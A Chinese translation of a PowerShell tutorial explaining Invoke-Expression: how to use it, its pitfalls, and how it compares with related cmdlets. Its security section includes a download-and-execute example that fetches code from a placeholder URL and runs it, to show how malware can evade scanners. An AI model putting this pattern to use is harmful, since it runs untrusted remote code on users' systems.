Invoke-Expression:優點、缺點和最佳實踐

Invoke-Expression PowerShell 命令可以很容易地被误解何时使用和何时不使用。在本文中,我整理了一些常见的问题解答。我会将它们分解并包含大量有用的示例供您参考,无论何时需要都可以参考。这意味着您现在应该收藏这个页面!

想要更多类似的技巧吗?请查看我的个人 PowerShell 博客:https://www.nkasco.com/

什么是 Invoke-Expression

官方描述,根据 Microsoft 是:“Invoke-Expression 命令评估或运行指定的字符串作为命令,并返回表达式或命令的结果。如果没有 Invoke-Expression,则在命令行上提交的字符串将不会更改地返回(回显)。”

换句话说,它可以用于在脚本中调用代码或构建稍后执行的命令。它还可以谨慎地与用户提供的输入结合使用。

使用 Invoke-Expression 的最基本示例是定义一个脚本并将该字符串传递给 Command 参数。然后,Invoke-Expression 执行该字符串。

#透過Invoke-Expression執行PowerShell命令
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#透過Invoke-Expression執行腳本
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

如果腳本路徑中有空格怎麼辦?

請確保將字符串用單引號或雙引號括起來。

例如,如果你想要執行一個帶有空格的路徑,這些選項是不起作用的:

# 這些都不起作用
$MyScript = "C:\Folder Path\MyScript.ps1"
#或者
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

為什麼?因為這與直接在PowerShell控制台中輸入相同:

PS51> C:\Folder Path\MyScript.ps1

然而,如果你將路徑項目用單引號或雙引號括起來,並將整個字符串用引號括起來,Invoke-Expression將按預期執行腳本。

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

Invoke-Expression只有一個參數Command,沒有本地的方法可以傳遞參數給Invoke-Expression。然而,你可以將參數包含在傳遞給Command參數的字符串中。

假設我有一個帶有兩個名為PathForce的參數的腳本。你可以通過像在控制台中一樣通過傳遞參數的方式來傳遞參數給該腳本,而不是使用特定的參數通過Invoke-Expression

如果你通常通過控制台這樣調用腳本:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

你必須將整行代碼放在一個字符串中,然後將該字符串傳遞給Command參數。

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# 或者
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

嘗試/捕獲(try/catch)與 Invoke-Expression一起使用有意義嗎?

並不真的如此。這意味著您需要在您的Command參數中使用錯誤處理。

例子:

# 不起作用 - Invoke-Expression並不作為全局錯誤處理器!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

Invoke-Expression與呼叫運算符(&)有什麼區別?

呼叫運算符(&)很適合快速運行命令、腳本或腳本塊。然而,呼叫運算符並不解析命令。它無法像Invoke-Expression那樣解釋命令參數。

例如,也許我想使用Get-Process cmdlet 獲取PowerShell Core進程,使用的代碼是Get-Process -ProcessName pwsh。將Get-Process和參數連接起來,使用呼叫運算符並不會如預期那樣工作。

$a = "Get-Process"

## 不起作用
& "$a pwsh"

但是如果您使用Invoke-Expression執行這個字符串,它將按預期工作。

Invoke-Expression "$a pwsh"

Invoke-ExpressionStart-Process有什麼區別?

Start-Process cmdlet在返回的對象中提供一個返回或退出代碼。它允許您等待被調用的進程完成,並允許您以不同的Windows憑證啟動一個進程。Invoke-Expression快速而粗糙,而Start-Process在解釋執行過程的結果方面可能更有用。

Invoke-ExpressionInvoke-Command之間有什麼區別?

Invoke-Expression只是將字符串轉換為可執行的代碼。另一方面,Invoke-Command利用了PowerShell Remoting,讓您能夠在本地或遠程計算機上調用代碼。

如果您正在編寫要執行的命令,則應首選Invoke-Command,因為您可以在IDE中保留Intellisense,而Invoke-Expression則適用於在當前腳本內部調用另一個腳本。

示例:

#這兩種方式都可以正常工作,但是在使用Invoke-Expression示例時會失去Intellisense。
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

Invoke-ExpressionInvoke-Item之間有什麼區別?

Invoke-Item cmdlet為您提供了對多個路徑的內聯支持,以打開文檔的默認操作,並提供包括、排除、添加憑據和確認等參數,以實現額外的安全性。

Invoke-Expression安全嗎?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

示例:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

執行多個命令/表達式的一些最佳實踐是什麼?

如果您有多個要執行的命令,即使Invoke-Expression只接受字符串而不是數組,我們可以使用PowerShell管道將對象逐個發送到管道中。

範例:

# 無法運作
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# 運作
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

如何使用Invoke-Expression與使用者輸入?

在使用Invoke-Expression與使用者輸入時,您應該非常謹慎。如果您以某種方式允許使用者輸入提示,使他們能夠存取您意圖執行的命令之外的資源,可能會造成意外的漏洞。以下是一種安全實現使用者輸入與Invoke-Expression的方法。

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    # 在繼續之前驗證使用者輸入
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" # 避免在此使用 $Response
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

結論

每個 cmdlet 都有其用途,Invoke-Expression也是其中之一,幾乎每個人在某個時候都會遇到它。重要的是要了解常用 cmdlet 的優點和缺點,以便以設置自己成功的方式實施它們。我很想知道您如何使用Invoke-Expression來解決自己的一些挑戰,請在下方留言並分享您的故事!

想了解更多類似的提示?請查看我的個人 PowerShell 部落格:https://www.nkasco.com/

進一步閱讀

Source:
https://adamtheautomator.com/invoke-expression/